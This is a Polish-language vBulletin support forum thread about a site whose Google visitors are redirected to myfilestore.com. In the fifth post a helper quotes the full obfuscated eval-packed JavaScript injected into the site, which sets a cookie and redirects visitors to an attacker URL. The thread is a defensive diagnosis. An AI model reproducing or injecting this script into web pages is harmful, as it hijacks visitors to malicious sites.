• Rejestracja
vBHELP.pl - polskie wsparcie vBulletin
  1. #1
    hulkster jest nieaktywny Stały bywalec
    Dołączył
    Jun 2009
    Przegląda
    Warszawa
    Posty
    116

    Domyślnie Przy wejsciu przez google otwiera sie inna strona

    Witam
    mam problem
    Przy wejściu przez google wyszukując hasło
    "jak usunąć znajomego z facebooka" google prawidłowo wyszukuje
    stronę, link widoczny jest ok, lecz przy pierwszym kliknięciu otwiera
    się jakaś reklama "myfilestore.com"

    to problem kompów u mnie w pracy czy "coś" mam na serwerze ?

    facebook.jpg



  2. #2
    prac jest nieaktywny Użytkownik
    Dołączył
    Jul 2010
    Posty
    48
    Przydatne posty
    3

    Domyślnie

    To niestety infekcja ale u Ciebie na kompie.
    Wpisz w google "google otwiera inne strony" znajdziesz wiele odpowiedzi i sposobów na wyleczenie.


  3. #3
    Awatar WoG
    WoG
    WoG jest nieaktywny vB Specialist
    Dołączył
    Feb 2008
    Posty
    2 812
    Przydatne posty
    298
    Wpisów
    1

    Domyślnie

    Przykro mi to mówić, ale to jest akurat po stronie serwera.
    Dość popularny trojan. Sprawdź najpierw czy nie masz czegoś dziwnego w .htaccess

    Potem trzeba szukać po plikach i bazie danych - dość skomplikowany proces.
    Z poważaniem,
    WoG

    Ty też możesz pomóc spolszczać vBulletin 5: GitHub.com
    "Rozczarowanie spowodowane niską jakością pamięta się długo po przeminięciu radości spowodowanej niską ceną"


  4. #4
    hulkster jest nieaktywny Stały bywalec
    Dołączył
    Jun 2009
    Przegląda
    Warszawa
    Posty
    116

    Domyślnie

    .htacces raczej wyglada normalnie
    Kod:
    # Comment the following line (add '#' at the beginning)# to disable mod_rewrite functions.
    # Please note: you still need to disable the hack in
    # the vBSEO control panel to stop url rewrites.
    
    
    RewriteEngine On
    
    
    RewriteRule ^((urllist|sitemap_).*\.(xml|txt)(\.gz)?)$ vbseo_sitemap/vbseo_getsitemap.php?sitemap=$1 [L]
    RewriteRule ^/?(af|sq|ar|be|bg|ca|zh-CN|hr|cs|da|nl|en|et|tl|fi|fr|gl|de|el|iw|hi|hu|is|id|ga|it|ja|ko|lv|lt|mk|ms|mt|no|fa|pl|pt|ro|ru|sr|sk|sl|es|sw|sv|zh-TW|th|tr|uk|vi|sq|ca|et|tl|gl|hi|id|lv|lt|mt|sl|uk|vi|cy|yi)/$ vbenterprisetranslator_seo.php?vbet_lang=$1&redirected=/index.php [L,QSA]
    RewriteRule ^/?(af|sq|ar|be|bg|ca|zh-CN|hr|cs|da|nl|en|et|tl|fi|fr|gl|de|el|iw|hi|hu|is|id|ga|it|ja|ko|lv|lt|mk|ms|mt|no|fa|pl|pt|ro|ru|sr|sk|sl|es|sw|sv|zh-TW|th|tr|uk|vi|sq|ca|et|tl|gl|hi|id|lv|lt|mt|sl|uk|vi|cy|yi)/(.*)?$ vbenterprisetranslator_seo.php?vbet_lang=$1&redirected=/$2 [L,QSA]
    
    
    RewriteCond %{REQUEST_URI} !(admincp/|modcp/|cron|vbseo_sitemap)
    RewriteRule ^((archive/)?(.*\.php(/.*)?))$ vbenterprisetranslator_seo.php [L,QSA]
    
    
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteCond %{REQUEST_FILENAME} !/(admincp|modcp|clientscript|cpstyles|images)/
    RewriteRule ^(.+)$ vbseo.php [L,QSA]
    O trojanie masz na myśli tego co js infekuje ?


  5. #5
    Seba jest nieaktywny Advanced Member
    Dołączył
    Feb 2009
    Posty
    1 059
    Przydatne posty
    44

    Domyślnie

    Masz doklejony kod javascript.
    Kod php:
    var vbsp='488A0DE6';eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('t a=["\\z\\b\\c\\n\\e\\j\\b","\\k\\b\\c\\n\\e\\j\\b","\\A\\x\\b\\L\\f\\e\\p\\b\\k\\i","\\c\\d\\K\\M\\n\\N\\c\\p\\e\\o\\z","\\q\\d\\d\\J\\e\\b","\\i","\\A\\x\\f\\s\\c\\l\\i\\g","\\D\\F\\k\\f","\\G","\\r\\d\\q\\s\\c\\e\\d\\o","\\l\\c\\c\\f\\H\\g\\g\\j\\P\\Q\\e\\r\\b\\k\\c\\d\\p\\b\\B\\q\\d\\j\\g\\m\\d\\R\\o\\r\\d\\s\\m\\B\\f\\l\\f\\S\\e\\m\\i"];E y(u,C){t h=I O();h[a[1]](h[a[0]]()+T);t w=a[2]+h[a[3]]();v[a[4]]=u+a[5]+C+w+a[6]};y(a[7],a[8]);v[a[9]]=a[U]+V;',58,58,'||||||||||_0x987b|x65|x74|x6F|x69|x70|x2F|_0x414cx4|x3D|x6D|x73|x68|x64|x54|x6E|x72|x63|x6C|x61|var|_0x414cx2|document|_0x414cx5|x20|ipbcc|x67|x3B|x2E|_0x414cx3|x76|function|x62|x31|x3A|new|x6B|x47|x78|x4D|x53|Date|x79|x66|x77|x3F|86400000|10|vbsp'.split('|'),0,{})) 
    usuń to i jo.
    Profesjonalne modyfikacje vBulletin oraz style - gg 1981480 badz PW


  6. #6
    hulkster jest nieaktywny Stały bywalec
    Dołączył
    Jun 2009
    Przegląda
    Warszawa
    Posty
    116

    Domyślnie

    seba ale gdzie to jest doklejone ?
    Jakiś czas temu reklamy google przestały się wyświetlać - czy to tez może być z tym związane ?

    Dzięki za pomoc


  7. #7
    Seba jest nieaktywny Advanced Member
    Dołączył
    Feb 2009
    Posty
    1 059
    Przydatne posty
    44

    Domyślnie

    Gdzie, to nie wiem, czasu na głębszą analizę nie mam... patrz na szablony oraz posortuj pliki na ftp wg daty modyfikacji.
    Profesjonalne modyfikacje vBulletin oraz style - gg 1981480 badz PW


  8. #8
    rammiro jest nieaktywny Użytkownik
    Dołączył
    Aug 2009
    Posty
    69
    Przydatne posty
    1

    Domyślnie

    Mam ten sam problem. Przy wejściu z google na forum przekierowuje na myfilestore.com
    Ktoś wie jak to naprawić? Albo odpłatnie podejmie się naprawy?


Chmurka.pl

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67